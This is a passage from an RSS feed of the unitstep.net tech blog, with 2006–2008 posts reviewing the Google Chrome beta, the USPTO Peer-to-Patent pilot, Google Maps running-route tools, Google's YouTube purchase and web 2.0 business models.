<p>Chrome comes with a nice DOM inspector reminiscent of Firebug.  Using it is dead simple; you just right click and select &#8220;Inspect Element&#8221; and the inspection window will pop up with the element highlighted.  Here you can see the full DOM tree as well as the computed <acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> styles for the element.  </p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-6.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-6-300x231.jpg" alt="" title="google-chrome-6" width="300" height="231" class="alignnone size-medium wp-image-427" /></a>
</p>
<p>There&#8217;s an included JavaScript console for executing code/commands/expressions on-the-fly and while there is a JavaScript debugger included, it seems at this time to be a command-line only tool, far less user-friendly than Firebug.</p>
<h3>Not ready for prime time yet?</h3>
<p>Of course, Chrome is marked as Beta by Google, something we&#8217;ve come to expect since Gmail has been in beta for longer than the company has been publicly traded.  Nonetheless, there are still some features that are sorely missed.</p>
<p>The one thing I absolutely love about Firefox is the vibrant developer community and subsequent widespread availability of quality, useful extensions.  This has produced such gems as the aforementioned <a href="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a> and <a href="http://adblockplus.org/en/">Adblock Plus</a>.  </p>
<p>For now, extensions/addons are not part of Chrome but may be added in a later version.  In the meantime I don&#8217;t think I&#8217;ll be even close to ready to switch, as I&#8217;m very stubborn.  I don&#8217;t use that many extensions but the few that I do are &#8220;must-haves&#8221; and I just can&#8217;t browse without them.  </p>
<p>Lastly, there are always privacy concerns, especially from a company as big an involved as Google.  Though you can turn off the sending of usage statistics, there will always be some with their tinfoil hats on.</p>
<h3>Conclusions</h3>
<p>All things considered, Chrome is a very good entry into the browser market.  While I don&#8217;t think it&#8217;s ready to take on Firefox or IE yet, it does provide competition.  So as long as Chrome continues to support standards (which I think it will, since it uses the WebKit renderer and Google has also been forthcoming with their <a href="http://www.google.com/chrome/intl/en/webmasters.html">support for web developers</a>), I won&#8217;t have a problem with it.  I won&#8217;t be switching over to it anytime soon, but at the very least it&#8217;ll be a useful development tool to verify/test my websites on to make sure they look proper in Safari/Konqueror/Chrome.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/09/02/google-chrome-what-it-offers/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Peer-to-Patent to improve the patent process?</title>
		<link>http://unitstep.net/blog/2007/07/03/peer-to-patent-to-improve-the-patent-process/</link>
		<comments>http://unitstep.net/blog/2007/07/03/peer-to-patent-to-improve-the-patent-process/#comments</comments>
		<pubDate>Tue, 03 Jul 2007 17:31:30 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[patents]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2007/07/03/peer-to-patent-to-improve-the-patent-process/</guid>
		<description><![CDATA[
Back in in June, the USPTO started a pilot project called &#8220;Peer-to-Patent&#8221; with the aims of opening up the patent review process to the public.  By doing this, it hopes to leverage the help of the community in speeding up the patent process by having teams of volunteers looking for prior art that can [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><a rel="lightbox" href="http://www.peertopatent.org/" title="Peer-to-Patent"><img src='/wordpress/wp-content/uploads/2007/07/peer-to-patent.png' alt='Peer-to-Patent' /></a></p>
<p>Back in in June, the USPTO started a pilot project called &#8220;<a href="http://www.peertopatent.org/">Peer-to-Patent</a>&#8221; with the aims of opening up the patent review process to the public.  By doing this, it hopes to leverage the help of the community in speeding up the patent process by having teams of volunteers looking for <a href="http://en.wikipedia.org/wiki/Prior_art">prior art</a> that can determine the relevancy of the patent application.  The <a href="http://spectrum.ieee.org/jun07/5275">IEEE Spectrum</a> had a good article/interview with the founder of Peer-to-Patent; it&#8217;s a short read (2 pages), and I suggest you read it since it does a good job at explaining the goals and the means with which the project aims to accomplish them.</p>
<p>There is apparently a huge backlog in patent applications, so the needs for a project like this are obvious.  However, will the &#8220;wisdom of the masses&#8221; prevail in helping to resolve the numerous problems in the patent system, evidenced by the seemingly endless litigation related to it?</p>
<h3>Software only, for now</h3>
<p>First of all, the USPTO is not opening the review process for all types of patents.  Since Peer-to-Patent is a pilot project, for now, it&#8217;s only covering software patent applications.  Additionally, inventors are not forced to submit their patent to this open process &#8211; it is a voluntary choice.  However, if you choose to opt-in to this process, your application will skip the four-year backlog of applications submitted using the &#8220;regular process&#8221;, and will be reviewed in a much more timely manner &#8211; this is the incentive for the program, at least on the inventor&#8217;s side.  So far, companies like <a href="http://en.wikipedia.org/wiki/Public_participation_in_patent_examination#USPTO_community_patent_review">GE, HP and IBM</a> have opted to participate in the project this way.</p>
<h3>Community involvement</h3>
<p>Community is a two-step process, and anyone can choose to be involved in the review process.  Your job, should you choose to accept it, will be to scour for &#8220;prior art&#8221; &#8211; publications or work that relates to the claims of the patent application, and that would help decide on its relevancy.  You then post/upload your findings to the Peer-to-Patent website.  10 to 25 new patent applications are expected to be posted to the website every month, providing plenty of material for volunteers to search on.</p>
<p>The second part of the process involves deciding the 10 best pieces of prior art for each patent application.  After a set amount of time, new submissions of prior art are closed off, and the community must then vote on which pieces of prior art they think are best.  Each user/reviewer would get one vote, and the top 10 choices are then forwarded, along with the patent, to the USPTO for the final decision as to whether the patent is awarded or not.  </p>
<p>So, the entire process isn&#8217;t decided online, but rather, this pilot project takes care of the first step of a patent application.  The founder of Peer-to-Patent, Professor Beth Simone Noveck, describes it best: </p>
<blockquote cite="http://spectrum.ieee.org/jun07/5275/2"><p>
If you think about the fact that a patent examiner now has between 18 and 20 hours for the total review of a patent application, 18 to 20 hours to decide whether that Blackberry patent application gets granted or whether the peanut butter and jelly application deserves a 20-year grant of monopoly rights, 18 to 20 hours is not a lot of time to complete all the research and do the review.
</p></blockquote>
<p>The process has the added benefit that an entire community is likely to have at least a few volunteers that have some special knowledge or experience related to the specific patent that a single reviewer would not have. This would allow them to find and explain prior art and its relevancy in a better way.  After all, the field of even software patents is very broad, and must encompass an enormous amount of information.</p>
<h3>The solution?</h3>
<p>Peer-to-Patent has the potential to succeed, and hopefully with its success, will usher in a reform, at least in the area of hi-tech.  There have been too many <a href="http://www.theglobeandmail.com/servlet/story/RTGAM.20060221.wpatentlyabsured-rim21/BNStory/RIM2006/home?pageRequested=all&#038;print=true">frivolous patents</a> accompanied by frivolous lawsuits.  In addition to impeding technological progress and development (the opposite aims of patent law), these lawsuits tie up courts and waste resources.  With this project, prior art should hopefully be found before these bad patents are granted. </p>
<p>With the community only being involved in the first step of finding prior art, the USPTO still having the final say, I think a nice balance has been struck.  This way, you still have some level of control and the USPTO can still use its own judgment.  It&#8217;s not greatly different than Wikipedia, where some users have more control than others.  And, let&#8217;s face it: There was no way the USPTO was going to completely relinquish control &#8211; that&#8217;s just too big of a step.</p>
<p>However, I can see some problems developing.  First of all, anytime you have an online voting system, there is always the question of fraud.  Since every user/member of the site has one vote in deciding which pieces of prior art they think are best for an application, how do prevent people from establishing multiple accounts and &#8220;gaming&#8221; the system?  One way would be to request a credit card number, just for verification, but I believe this would be a huge impediment to participation.  This is a serious issue, with sites like Digg <a href="http://www.marketingpilgrim.com/2007/04/if-you-game-digg-you-will-get-banned-unless.html">constantly combating &#8220;gaming&#8221; of their system</a> and other attempts at fraud.  If Digg suffers from organized attempts at fraud from marketing services, you can almost be certain something like Peer-to-Patent will suffer from something similar.</p>
<p>In a worst-case scenario, I could see the litigious patent arguments in court merely being relocated to the online-forum of Peer-to-Patent.  While this may be better than seeing them tie up the courts, you&#8217;ll remember that I&#8217;m  <a href="http://unitstep.net/blog/2007/06/29/the-cbcs-great-canadian-wish-list/">not exactly agreeable with online debate</a>.  Furthermore, there are more serious concerns as well.  Sneaky or unethical companies could secretly hire teams of &#8220;reviewers&#8221; to promote prior art, agreeable with their patent applications, to the top of the list, ensuring that the USPTO only sees these.  This would be a clear abuse of the system, and a conflict of interest.</p>
<h3>Optimistic</h3>
<p>While it may seem that I&#8217;ve been pointing out the worst, I&#8217;m cautiously optimistic about Peer-to-Patent.  I believe it has the potential to succeed, so as long as the creators are flexible and quick to respond to any deficiencies in the system, thus keeping it fair.  And, let&#8217;s hope that they do succeed, as patent reform has been sorely needed for some time.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2007/07/03/peer-to-patent-to-improve-the-patent-process/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Measuring distances for your running route</title>
		<link>http://unitstep.net/blog/2007/06/14/measuring-distances-for-your-running-route/</link>
		<comments>http://unitstep.net/blog/2007/06/14/measuring-distances-for-your-running-route/#comments</comments>
		<pubDate>Thu, 14 Jun 2007 15:29:48 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[exercise]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[maps]]></category>
		<category><![CDATA[running]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2007/06/14/measuring-distances-for-your-running-route/</guid>
		<description><![CDATA[
If you do a lot of running, you&#8217;ll often find that you&#8217;d like to keep track of how much distance you&#8217;ve accumulated.  This is especially important if you&#8217;re training for some event, or even if you&#8217;re just a casual runner looking to build up your endurance and stay in shape.  However, short of [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><a href="/wordpress/wp-content/uploads/2007/06/running-route-preview.png" title="Running routes with MapMyRun" rel="lightbox run"><img src="/wordpress/wp-content/uploads/2007/06/running-route-preview.thumbnail.png" alt="Running routes with MapMyRun" /></a></p>
<p>If you do a lot of running, you&#8217;ll often find that you&#8217;d like to keep track of how much distance you&#8217;ve accumulated.  This is especially important if you&#8217;re training for some event, or even if you&#8217;re just a casual runner looking to build up your endurance and stay in shape.  However, short of running around a track endlessly, it can be hard to gauge how far you&#8217;ve gone on your <a href="/blog/2006/07/05/running-route/">running route</a>.</p>
<p>Short of having a fancy device such as the <a href="http://playlistmag.com/reviews/2006/09/nikeipod/index.php">Nike iPod Kit</a> (which requires calibration), or an even more costly <a href="http://www.fitsense.co.uk/categories.php?cat=38">GPS watch</a> (that&#8217;ll probably eat through batteries), you can still manually measure your running distance using the many free tools out there, all of which are based upon the fantastic <a href="http://www.google.com/apis/maps/">Google Maps API</a>.  Let&#8217;s have a look at some of them.</p>
<div class="info">
<h3><a href="http://runtrackr.com/">RunTrackr</a> (shameless plug)</h3>
<p>I have since launched my own running route tracking site: <a href="http://runtrackr.com/">RunTrackr</a>.  Please check it out; it&#8217;s fairly new and I would appreciate any comments or feedback via the <a href="/contact">contact</a> page.  This will help me to improve the site.  Thanks!</p>
<p class="image">
<a href="http://runtrackr.com/"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/07/runtrackr-beta-3.jpg" alt="RunTrackr" title="RunTrackr" /></a>
</p>
<p>(Read <a href="/blog/2008/07/11/announcing-runtrackr-create-and-track-running-route-distances-easily/">more about RunTrackr</a>)
</div>
<h3><a href="http://www.gmap-pedometer.com/">Gmaps Pedometer</a></h3>
<p class="image align-right"><a rel="lightbox run" href='/wordpress/wp-content/uploads/2007/06/gmaps-pedometer.png' title='Running routes with GMaps Pedometer'><img src='/wordpress/wp-content/uploads/2007/06/gmaps-pedometer.thumbnail.png' alt='Running routes with GMaps Pedometer' /></a></p>
<p><a href="http://www.gmap-pedometer.com/">Gmaps Pedometer</a> was one of the first distance-logging tools created using the Google Maps API.  It works well for tracking running/biking routes, and includes a calorie counter based on your weight, as well as some rudimentary elevation information.  However, the interface is somewhat bland, and this app doesn&#8217;t include some of the features found on some other routes, such as a central repository of user-created running routes integrated with the main app.  You <strong>can</strong> save your running route, however, and users have shared their creations in their <a href="http://www.gmap-pedometer.com/phpBB2">forums</a>.  No registration is required (or available) for this site.  You can easily print maps from within the interface.</p>
<p>Overall, it&#8217;s an simple, but effective and easy way to track your distance.  It&#8217;s somewhat plain though, and a little lacking on features.  You also have to enter each point manually, since there&#8217;s no option to follow roads.  So, if your path goes down a curved boulevard, you&#8217;ll have to click along each point to keep the distance accurate, since the path just follows straight lines between each point.</p>
<h3><a href="http://www.walkjogrun.net/">WalkJogRun</a></h3>
<p class="image align-right"><a href='/wordpress/wp-content/uploads/2007/06/walkjogrun.png' title='Running routes with WalkJogRun' rel="lightbox run"><img src='/wordpress/wp-content/uploads/2007/06/walkjogrun.thumbnail.png' alt='Running routes with WalkJogRun' /></a></p>
<p><a href="http://www.walkjogrun.net/">WalkJogRun</a> is an application that has a large number of user-created running routes integrated with the map.  You can find routes near your location simply by searching for your city; markers will then show up on the map indicating where these running routes are.  Clicking on a marker will bring the running route onto the map as an overlay, along with distance measurements for each point along the route.  Zooming the map can be done with the mouse wheel, just like in the regular Google Maps.</p>
<p>Times are also included, and are in hours:minutes, and are based on a speed you select.  You can configure the distance/speed measurements to be in kilometers or miles (I still like miles, despite being raised metric for everything), and a calorie-counter based on your weight is also included.  These options are at the bottom of the screen, and are fairly small, and could be relocated for better visibility.</p>
<p>You can also create your own route by double clicking to enter points.  Creating running routes and saving them doesn&#8217;t require you to register, but you can, and have to, if you want to mark them as private or be able to come back and alter them later.  This seems fair enough, and it&#8217;s good that they don&#8217;t force you to register to use the service.  Also, it&#8217;s very nice to be able to see/search for other people&#8217;s routes right within the application.  Overall, the interface of WalkJogRun seems quite refined, and is fairly easy to use.  There are plenty of features, and you can even export routes to <a href="http://earth.google.com/">Google Earth</a>.</p>
<p>However, one thing to note is that this application feels somewhat sluggish.  This is no doubt due to the heavy use of the Google API and the resulting number of Ajax queries that must take place, in order to update the map with users&#8217; routes as you reposition it.  This is in stark contrast to Gmaps Pedometer, which while simple and plain, is also faster and more lightweight.  I suppose it&#8217;s a trade off.  And, like Gmaps, WalkJogRun doesn&#8217;t support a &#8220;follow by road&#8221; feature, so entering in paths down curved roads will take more time.</p>
<h3><a href="http://www.mapmyrun.com/">MapMyRun</a></h3>
<p class="image align-right"><a rel="lightbox run" href='/wordpress/wp-content/uploads/2007/06/mapmyrun.png' title='Running routes with MapMyRun'><img src='/wordpress/wp-content/uploads/2007/06/mapmyrun.thumbnail.png' alt='Running routes with MapMyRun' /></a></p>
<p><a href="http://www.mapmyrun.com/">MapMyRun</a> is like WalkJogRun in that you can search for user-created running routes and also add your own to the mix, and it also has a fairly decent interface that shows information in both kilometers and miles.  It has the nice feature that auto-saves your route, and restores it should you accidentally navigate away from the page. It also also gives calorie counts, and supports elevation data as well.  You can save this information to a training log, but this requires that you register with the site.</p>
<p>When creating routes, you can specify different types of waypoints, for example water breaks, aid stations and bathrooms.  Notes can be added to the waypoints, and the route can be printed out with these notes to keep them handy.  This is very nice for operation in the real-world.  You can export the route to a variety of sources, such as Google Earth, a Garmin Forerunner or Edge GPS device, or to your blog as some embedded Javascript.  This is also very handy, as information nowadays should work across a variety of devices.</p>
<p>However, the best feature is that this application can automatically create paths that follow roads.  This is good if your routes follow through a lot of curved roadways, as it&#8217;ll save you the headache of manually entering in the path.  However, sometimes it&#8217;ll automatically create a path from one point to another that doesn&#8217;t follow the road route you&#8217;d probably run &#8211; this is a limitation of the Google Maps system, as it is probably calculating how a car would drive from one point to another.  (For example, you can run either way down a one-way street, but cars obviously cannot)  Another nice feature is being able to remove a point in the middle of your route without having to re-enter all the subsequent points.</p>
<p>While this application is feature-filled, it also suffers from some sluggish performance like WalkJogRun.</p>
<h3><a href="http://www.run.com/">Run.com</a></h3>
<p class="image align-right"><a rel="lightbox run" href='/wordpress/wp-content/uploads/2007/06/run-com.png' title='Running routes with Run.com'><img src='/wordpress/wp-content/uploads/2007/06/run-com.thumbnail.png' alt='Running routes with Run.com' /></a></p>
<p>With <a href="http://www.run.com/">Run.com</a>&#8217;s application, you can also search for user-created running routes and add your own.  The application is fairly responsive, and doesn&#8217;t feel too sluggish because of the way they&#8217;ve implemented it &#8211; searching for routes shows them on one map, and when you click a route to bring it up, it loads a new page with the route map.  This reduces Ajax-activity that is often the cause of poor performance in web applications.</p>
<p>Routes show elevations, and distances in metric or imperial.  Different waypoints (water break, aid station, scenic view) can be specified, and users can enter descriptions as well as difficulty ratings for each route.  Tips entered by the person who created the route are often useful. (Eg. <q cite="http://www.run.com/showroute.asp?map=38334">BE CAREFUL &#8211; LOTS OF BIKES</q>) </p>
<p>Though I don&#8217;t have much to say about this application, I actually think I like it the best.  Even though it doesn&#8217;t provide all the data or features that WalkJogRun or MapMyRun might, it&#8217;s lightweight, fast and easy to use, all of which are important hallmarks of any application, especially web apps.</p>
<h3>One last thing</h3>
<p>You don&#8217;t need to use one of these tools to measure your running distance.  You could easily use <a href="http://earth.google.com/">Google Earth</a>&#8217;s measure tool to map out your running route, but it&#8217;s a bit tedious, and these online applications will greatly simplify the process.  Personally, I liked WalkJogRun and Run.com&#8217;s offerings the best, but you should give them all a try to see which fits your style best.</p>
<p>Lastly, these tools are probably best for road running, such as planning training for a marathon of some sort, or for the marathon itself.  If you do a lot of trail running, they won&#8217;t work that great, since most of that data isn&#8217;t available on Google Maps, the basis for all of these tools.  However, these tools do a good job of highlighting the features and flexibility of the <a href="http://www.google.com/apis/maps/">Google Maps API</a> by showing what can be accomplished.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2007/06/14/measuring-distances-for-your-running-route/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Google buys YouTube(!)</title>
		<link>http://unitstep.net/blog/2006/10/09/google-buys-youtube/</link>
		<comments>http://unitstep.net/blog/2006/10/09/google-buys-youtube/#comments</comments>
		<pubDate>Mon, 09 Oct 2006 23:03:18 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[google]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/10/09/google-buys-youtube/</guid>
		<description><![CDATA[Since it&#8217;s not Thanksgiving in the US, news has been anything but slow today.  Google has officially bought YouTube, sending shockwaves throughout the online world.  Now, a $1.65 billion USD deal is going to be news-worthy anyday, but what makes this even more remarkable was how fast the Google-YouTube deal went from a [...]]]></description>
			<content:encoded><![CDATA[<p>Since it&#8217;s not Thanksgiving in the US, news has been anything but slow today.  Google has <a href="http://www.techcrunch.com/2006/10/09/google-has-acquired-youtube/">officially bought YouTube</a>, sending shockwaves throughout the online world.  Now, a $1.65 billion USD deal is going to be news-worthy anyday, but what makes this even more remarkable was how fast the Google-YouTube deal went from a rumour to a fact.  I&#8217;d been hearing <a href="http://mashable.com/2006/09/21/youtube-demands-15-billion/">rumours of potential YouTube buyers</a> since way back in the summer, but in no way was Google a top prospect.  </p>
<p><a href="http://www.valleywag.com/tech/youtube/the-billiondollar-backlash-even-mark-cuban-thinks-itd-take-a-moron-to-buy-youtube-204072.php">Some will say</a> that this deal officially marks the beginning of &#8220;Bubble 2.0&#8243;, since YouTube <a href="http://money.cnn.com/magazines/fortune/fortune_archive/2006/09/04/8384719/index.htm">is not yet profitable</a>.  I&#8217;m assuming Google has some pretty bright people working for them, so what was their reasoning behind this move?  Certainly, $1.65 billion USD isn&#8217;t a lot for them, ever since their IPO, but the real concern is YouTube&#8217;s high operating costs &#8211; serving up all those videos takes up a lot of bandwidth, which in turn translates into large monthly bills.</p>
<h3>Cornering the market</h3>
<p>However, the major reason behind this move must have been to corner the online video-sharing market.  <a href="http://video.google.com">Google Video</a>, launched not long ago, was a direct competitor to YouTube, but it received lukewarm support from the majority, who were already entrenched in YouTube.  By grabbing hold of YouTube, Google effectively has a near-monopoly in the video-sharing market.  They must have some future plan for how they will profit from these sites, besides just advertising revenue and &#8220;getting their name out there&#8221;.  </p>
<p>Furthermore, operating costs aren&#8217;t the only problem they need to think of.  Copyright violations are rampant on YouTube, and companies haven&#8217;t been afraid to pursue these matters in court &#8211; Google will certainly be dealing with more potential lawsuits in the coming months and years over material used in videos shared on their sites.  </p>
<p>Overall, I don&#8217;t know where I stand on this.  On the one hand, this could prove to be a brilliant move if Google can successfully lead its YouTube branch into profitability &#8211; if it doesn&#8217;t, it will be a hallmark and a defining moment of &#8220;Bubble 2.0&#8243;.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/10/09/google-buys-youtube/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How &#8220;web 2.0&#8243; is actually changing things</title>
		<link>http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/</link>
		<comments>http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/#comments</comments>
		<pubDate>Wed, 09 Aug 2006 23:52:35 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[advertising]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/</guid>
		<description><![CDATA[With all the talk about how Digg, the community social news site, is supposedly worth $200 million, and the ensuing cries of BS, you&#8217;d think we were well on the way to Bubble 2.0 instead of web 2.0.  Semantics of the &#8220;web 2.0&#8243; term aside, the current revolution in the web is changing how [...]]]></description>
			<content:encoded><![CDATA[<p>With all the talk about how Digg, the community social news site, is supposedly worth <a href="http://www.businessweek.com/magazine/content/06_33/b3997001.htm">$200 million</a>, and the ensuing <a href="http://techdirt.com/articles/20060803/1812214.shtml">cries</a> <a href="http://plentyoffish.wordpress.com/2006/08/04/if-digg-is-worth-200-million-then-im-a-billionaire/">of BS</a>, you&#8217;d think we were well on the way to Bubble 2.0 instead of web 2.0.  Semantics of the &#8220;web 2.0&#8243; term aside, the current revolution in the web is changing how things are done, and is having an effect on the industry, for better or worse. </p>
<h3>It&#8217;s all about the advertising</h3>
<p>The advent of Internet advertising as a viable income source has been the fuel for this tranformation.  Ever since the major players launched huge ad networks (Google&#8217;s AdSense and Yahoo&#8217;s Publisher Network), it&#8217;s becoming easier for sites to &#8220;make a quick&#8221; buck without apparently selling any service or product.  This ad model is what allows you to sign up for a bevy of free services, from webmail to social news sites, and has been the basis for large social networking sites like Facebook.  It&#8217;s also been a focal point for traditional news services, who not only have been making money off ads on their own sites, but have also bought out sites like MySpace in the further hopes of money from online advertising.</p>
<p>However, it&#8217;s also had the effect of making it much easier for &#8220;the little guy&#8221; to get into the business, sometimes wreaking havoc on established businesses.  A great example is <a href="http://www.webpublishingblog.com/exclusive-interview-with-plentyoffishcom-creator-and-owner-markus-frind.htm">Markus Frind</a>, who single-handedly started up a dating site that shook up the entire online dating industry, as he began offering a something for free that typically was a paid service.  He made quite a lot of money off of his site, but overall, things were much cheaper for the &#8220;customer&#8221;. (No fees as opposed to fees)</p>
<h3>The long tail</h3>
<p>This sort of action by smaller companies is going to change the industry, and Markus himself <a href="http://plentyoffish.wordpress.com/2006/07/24/web-20-is-mass-market-web-30-is-the-transformation-of-industries-in-the-long-tail/">best sums it up</a>.  The basic idea is that smaller startups, entirely self-funded (or at least not venture-capitalized), are taking over sectors, offering services and will be entirely happy making overall, less money than their predecessors.  One need only look at <a href="http://www.techcrunch.com">TechCrunch</a> on a regular day to see many of these startups being featured.  </p>
<p>On the web, things move about ten times as fast, and that includes the launch of new companies and how their services will change and be updated.  Where else can a business or service launch, and then <a href="http://www.vnunet.com/vnunet/news/2142194/ebay-buys-skype-6b">suddenly be bought for $2 billion</a> only a scant few years later?  The pace at which ideas spread on the web is frightening.  </p>
<h3>Wag the tail</h3>
<p>The best recent example of a typical industry starting to be overtaken by smaller startups is the online job search market.  Typically, these areas have been dominated by sites like <a href="http://monster.com">Monster</a> or <a href="http://www.workopolis.com/">Workopolis</a>.  These sites are well known and established; however, recently niche job boards like those at <a href="http://www.37signals.com/">37 signals</a> and TechCrunch have launched, with positive results.  The idea behind these job boards seems, at first, the opposite of what would be desired &#8211; they are only known by a select group of individuals, typically those who visited the sites before the job board launched.</p>
<p>But that&#8217;s just the advantage &#8211; not everyone knows, so not just anyone applies to the jobs listed there, producing a higher quality of job applicants.  This, in turn, makes it much easier for companies to find good people, thus cutting down on their costs, saving them money.  This, of course, reduces the amount of money being pumped into this industry.  Take this <a href="http://www.techcrunch.com/2006/08/08/crunchboard-job-board-stats-after-one-week/#comment-129621">one comment</a> about the TechCrunch job board (called the CrunchBoard):</p>
<blockquote cite="http://www.techcrunch.com/2006/08/08/crunchboard-job-board-stats-after-one-week/#comment-129621"><p>We (photobucket) had posted 3 jobs on CrunchBoard and have had a positive experience thus far. We are getting less resumeâ€™s than maybe a monster or dice, but the ones we get are much more qualified. Iâ€™d be surprised if we donâ€™t fill at least one of these positions in the coming weeks from a CrunchBoard referral. A few hundred bucks sure beats the $20k or so a recruiter will get you for.</p>
</blockquote>
<p>Going from spending $20 K to less than $1 K certainly amounts to <em>huge</em> savings, and as more and more companies learn about this, you can bet they&#8217;ll be at least partially switching over to this model instead of traditional recruitment practices.  This is really the same thing as the typical Internet user benefiting from all the free services out there &#8211; they save money, but at the cost of the previous business model suffering decreased revenues.</p>
<p>Whether these new job boards can maintain their level of high-quality applicants is one story, but what is sure to stay, is the fact that traditional industries are going to see their market value decreased because of low-cost Internet startups, for better or for worse.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>RSS &#8211; not just for geeks anymore</title>
		<link>http://unitstep.net/blog/2006/07/25/rss-not-just-for-geeks-anymore/</link>
		<comments>http://unitstep.net/blog/2006/07/25/rss-not-just-for-geeks-anymore/#comments</comments>
		<pubDate>Wed, 26 Jul 2006 01:51:56 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[atom]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/07/25/rss-not-just-for-geeks-anymore/</guid>
		<description><![CDATA[With all this hullabaloo about how neat and nifty web 2.0 technologies need to be made more mainstream, useful and practical technologies can often be forgotten.  One of the things out there that I believe is a core part of web 2.0 is syndicated content, known variously as (thanks to competing standards) RSS, Atom, [...]]]></description>
			<content:encoded><![CDATA[<p>With all this <a href="http://publishing2.com/2006/07/19/netscape-could-beat-digg-by-focusing-on-average-people/">hullabaloo</a> about how neat and nifty web 2.0 technologies need to be made more mainstream, useful and practical technologies can often be forgotten.  One of the things out there that I believe is a core part of web 2.0 is syndicated content, known variously as (thanks to competing standards) <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym>, Atom, and <a href="http://www.w3.org/XML/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible Markup Language">XML</acronym></a> (in the early days) feeds.  What exactly do all these acronyms represent? Well, it&#8217;s complicated, but basically it&#8217;s a way to stay up-to-date on the newest content and information from your favourite websites &#8211; essentially subscribing to them, and allowing you to focus on quality content instead of having to weed out the junk.  It&#8217;s a form of crack for tech news junkies who have to be &#8220;in the know&#8221; about everything new that happens.</p>
<h3>A little background</h3>
